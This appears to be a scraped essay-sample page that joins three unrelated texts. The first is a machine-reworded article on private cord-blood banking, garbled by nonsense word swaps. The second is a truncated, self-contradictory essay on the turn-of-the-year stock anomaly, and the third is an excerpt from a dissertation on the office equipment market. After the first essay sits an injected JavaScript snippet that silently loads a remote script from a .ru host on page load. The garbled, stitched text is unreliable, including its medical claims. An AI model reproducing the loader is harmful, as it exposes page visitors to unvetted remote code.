Blood Of Children Sampling Essay Research Paper

Blood Of Children Sampling Essay, Research Paper Should parents pay a blood bank to hive away the blood from their newborn babe # 8217 ; s umbilical cord and placenta, in instance that kid or another household member of all time demands it to handle malignant neoplastic disease or leukaemia? Anticipant parents are being urged to make so by companies that have sprung up during the past few old ages to sell cord-blood banking as a signifier of biological insurance against such awful diseases. The pitch is based on studies in medical diaries, such as a major survey published last hebdomad in the New England Journal of Medicine, demoing that cord blood can sometimes be used in topographic point of a bone marrow graft. Like bone marrow, cord blood is rich in root cells, which can churn out many different types of cells to reconstruct a patient # 8217 ; s blood supply and immune system after high doses of radiation and chemotherapy. And a patient # 8217 ; s ain cord blood, or that from a comparative, is more likely than cord blood from an unrelated giver to be a good tissue lucifer and to be accepted by the receiver # 8217 ; s organic structure. Some experts in bone-marrow organ transplant and blood banking scowl on the cord-blood concern, reasoning that people are being frightened into blowing money on a service they will likely neer necessitate. Furthermore, private companies are turning in tandem with public Bankss, and some scientists worry that private banking will restrict public entree to cord blood. They are concerned because the cord blood in private Bankss remains the belongings of the donor household and is non available to patients seeking a compatible giver. But the companies say that nevertheless remote the possibility that the blood will be needed, people who choose to bank their ain cord blood have a right to make so. In most instances their cord blood would be thrown off in the bringing room if they did non pay to bank it. There are merely a few cord-blood Bankss in the United States, and most infirmaries do non hold specially trained staff members to roll up the blood. Like bone marrow, cord blood must be matched to the receiver by trials for six familial traits that determine an single # 8217 ; s tissue type. Cord blood does non hold to be as exactly matched as bone marrow, but still, the closer the lucifer, the better the odds of success. The weaker the lucifer, the more likely it is that the receiver # 8217 ; s organic structure will reject the graft, or the graft will assail the receiver # 8217 ; s tissues, in a dangerous reaction called transplant versus host disease. The companies that freezing cord blood and bank it point out that a individual # 8217 ; s ain cord blood is a perfect lucifer, and a sibling # 8217 ; s cord blood a more likely lucifer than a specimen from a alien. And so, the statement goes, the best manner to protect an full household from the unthinkable is to salvage the neonates # 8217 ; cord blood. Promotional literature for one company, Cord Blood Registry, in San Bruno, Calif. , emphasizes that people with malignant neoplastic disease in the household may hold a particular involvement in cord-blood banking, along with those who have the hardest clip happening lucifers, which includes members of racial minorities, particularly households in which the parents are of different races. Harmonizing to a spokeswoman, Scoti Kaesshaefer, the company reaches parents-to-be by advancing itself to physicians, nurses and childbearing pedagogues, and by go forthing information at infirmaries. Among the promotional stuffs the company provided to the New York Times were transcripts of articles from other newspapers proposing that malignant neoplastic disease among kids is on the rise. The company besides has a Web site and an 800 figure with a recorded salutation that instructs companies to hold their recognition cards ready. The thought of salvaging one # 8217 ; s ain cord blood seems to be catching on. Cord Blood Registry, which describes itself as the largest private cord-blood banking house in the United States, has stored 10,000 samples during the past three old ages: 1,500 in 1995, R / gt ; 3,000 in 1996 and 6,000 in 1997. The company charges an initial fee of $ 1,200 to roll up a sample and freezing it, and so $ 95 a twelvemonth to maintain it stored in liquid N at the blood bank at the University of Arizona. Customers include people with absolutely healthy kids, who merely want excess peace of head, as good as some households who have lost a kid to leukemia or another disease and fright for the wellness of their other kids. In its three old ages of operation, eight clients have retrieved their cord blood for usage in medical intervention, said Kaesshaefer. All eight samples were used for siblings or relations, she said. By contrast, the largest public-access bank of cord blood, at the New York Blood Center in Manhattan, has collected merely 8,686 specimens in six old ages. But about 800 of those samples have been used to handle patients, many of them kids, in the United States and overseas. Critics of private cord-blood companies point out that even if a individual with banked cord blood does necessitate a graft later, the stored blood may non be the best pick. Dr. Pablo Rubinstein, who directs the cord-blood plan at the New York Blood Center, said there was a compelling medical statement against utilizing a patient # 8217 ; s ain cord blood in some instances. In some immature kids with leukaemia, he said, malignant cells were already present at birth in the cord blood, and instilling those cells back into the kid subsequently might lend to a backsliding. In add-on, he said, bone marrow from a giver could assist destruct morbid cells, an consequence known as transplant versus leukaemia. A individual # 8217 ; s ain cord blood might non hold that consequence, and in some instances even a sibling # 8217 ; s might non. Dr. John Wagner, associate manager of bone marrow organ transplant at the University of Minnesota in Minneapolis, said that for a kid being treated late, he intentionally rejected cord blood from a sibling in favour of a well-matched unit from an unrelated giver, trusting to take advantage of its antileukemic consequence. Dr. Robertson Parkman, manager of bone marrow organ transplant at Children # 8217 ; s Hospital in Los Angeles, said he saw no point in banking cord blood for most households. It # 8217 ; s motivated by fright, he said. But in households with an sick kid who might necessitate a bone-marrow graft, he said, it makes sense to collect cord blood from any siblings born subsequently and salvage it. Medical centres with transplant plans will frequently execute that service, he said. So will some of the private companies, without a fee. When a bone-marrow giver could non be found for 4-year-old Joshua Kelton, who was enduring from leukaemia, his parents, stationed at a military base in Honolulu, conceived another kid in the hope that the babe # 8217 ; s tissues would fit Joshua # 8217 ; s. They did, and Cord Blood Register collected the cord blood at birth, stored it in Arizona for a month, and so, when Joshua was ready for the process, transported it to a medical centre at Stanford University. Joshua was treated with his baby brother # 8217 ; s cord blood in August, and has been declared free of leukaemia. Right now, he # 8217 ; s 100 per centum, his male parent said in a telephone interview, a normal kid, the manner he was before this happened. But the Keltons # 8217 ; experience is barely representative. That the household was certain it would necessitate the cord blood sets it apart from most households that store the blood. Wagner is wary of the hard sell of some of the cord-blood companies. My concern is that it be presented reasonably to expectant female parents, who are already reasonably vulnerable, he said. I have a batch of accoucheurs and parents naming me and kicking it # 8217 ; s excessively late, they missed the chance. Others call stating,# 8216 ; Should I make this? # 8217 ; It # 8217 ; s difficult to reply. I don # 8217 ; t want to bias them. We have person now who takes the calls for me because it got to be overpowering. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

A survey of one Financial Market Anomaly (e.g. The Momentum Effect and Essay

A survey of one Financial Market Anomaly (e.g. The Momentum Effect and Market Efficiency) - Essay Example Anomalies specify either market ineffectiveness or insufficiencies in the fundamental asset-pricing model. Contextually, market anomaly is regarded as a price and return miscalculation on financial market which appears to oppose ‘efficient market hypotheses’ (Schwert, 2002). This report is based on the survey of one financial market anomaly named ‘turn-of-the-year’ effect. The objective of the report is thus to recognise and describe the reasons for the occurrence of turn-of-the-year anomaly. Furthermore, the report also aims to understand how this anomaly influences the aspect of market efficiency. Definition of Turn-of-the-Year Anomaly The turn-of-the-year effect defines an outline of increased trading quantity and higher stock prices in the year end (i.e. last week of December) and in the beginning of year (i.e. the first two weeks of January). According to Keim (1983) & Reinganum (1983), majority of irregular revenues generated by small organisations hap pens during the first two weeks of January. This anomaly is recognised as turn-of-the-year effect. In this context, Roll (1983) had theorised that higher unpredictability of little capitalisation stocks cause substantial short term capital losses. Most of the investors hence desire to realise income tax before year end. This stress leads to more sales of stock in the end of year, resulting in substantial minimisation of prices of small capitalisation stocks (Schwert, 2002). Pattern of Turn-of-the-Year Anomaly The study of the Return on Investment (ROI) of US along with other key financial markets constantly discovered robust dissimilarities in stock yielding behaviour across the year. The following figure hereby illustrates the average ROI on monthly basis from 1927 to 2001 in the US: Source: (Stern School of Business, 2012) From the above figure, it can be observed that the returns on investment in January from 1927 to 2001 were considerably higher in the US in comparison to the re turn of other months. This pattern of returns can be observed in the first two weeks of January. To be stated, the turn of the year effect was much more noticeable for small organisations in comparison with big organisations (Stern School of Business, 2012). However, the turn-of-the-year anomaly was learnt to b only existing in those markets where individual income taxes are active. In the similar context, the pattern of the stock markets of Hong Kong did reveal a turn-of-the-year effect owing to the fact that there were no capital gains from taxes. Similarly, in China the capital gains on taxes are considered as uniform which does not offer any kind of inducement for investors during year ends. Thus, turn-of-the-year anomaly is hardly observed in China as well as in Hong Kong (Ji, 2008). Discovery of Turn-of-the-Year Anomaly The seasonal anomaly had been first identified by Sidney B. Watchel in the year 1942. Chronologically, in the year 1976, Rozeff & Kinney had documented the tur n-of-the-year effect in New York Stock Exchange (NYSE) for the first time. They had found that the average yield of

Office Equipment Market Dissertation Example | Topics and Well Written Essays - 21000 words

Office Equipment Market - Dissertation Example The research examines the state of the office equipment market for determination of whether or not it can withstand new entrants. Focusing on three technologies and types of equipment, copiers, printers and facsimile machines, the findings indicate that this is an innovation driven and innovation-based market. The implication here is that the first-mover advantage principle holds, wherein new entrants are not likely to succeed. Indeed, the technologies and resources available to the first movers and early entrants render this a closed market in the sense that it is unlikely to absorb new entrants. An application of the resource-based view of the firm confirms this hypothesis. The dissertation, however, finds that while the opportunities for new entrants in the referenced market are limited, they do exist. Quite simply stated, should the first-movers cease their continued drive towards innovation, thus, leaving a gap in the market, new firms can enter. They, however, can only do so if they have timed their innovations to coincide with the mentioned gap. As the study concludes, the opportunities for new entrants are far and few between and, indeed, their chances for success are minimal at best, considering resource variances between them and the early entrants. The fact remains, however, that such opportunities exist with the key being innovation and product timing. Chapter 1 - Introduction and Overview 1.1 Introduction To those from without the industry, the office equipment market appears to be a highly lucrative one. Indeed, as several market researchers have remarked, the profits which the printer, copier and facsimile machines' market appears to promise seems to beckon new market players to enter this particular industrial and market sector... To those from without the industry, the office equipment market appears to be a highly lucrative one. Indeed, as several market researchers have remarked, the profits which the printer, copier and facsimile machines’ market appears to promise seems to beckon new market players to enter this particular industrial and market sector (Herbig & Kramer, 1994; Elliot, 2005; Ruffo, Tuck and Hague, 2007). Irrespective of appearances, however, and not withstanding the size of the market, there is no room for new players as this is a first-mover market in which the odds are stacked against new entrants. As noted by several market analysts and marketing scholars, innovation is the key to survival within this market and, due to that, the market status of its key players (Xerox, IBM, Ricoh, Canon, Kyocera-Mita and HP) is virtually untouchable (Clarke, 2000). Proceeding for the above-stated, it is apparent that professional and academic opinion tends towards the contention that the office equipment market is not open to new players; that there is no room for new players within this market. This is not, as some may assume, because the key players have a tight, quasi-monopolistic grip over the market. Instead, and as noted in the above, this is because this is a market of innovation and, hence, by definition, favours early movers. In order to clarify this further, it is necessary to explore the nature of innovation. Innovation, it is argued, is more than invention. Put differently, inventions do not necessarily result in innovation.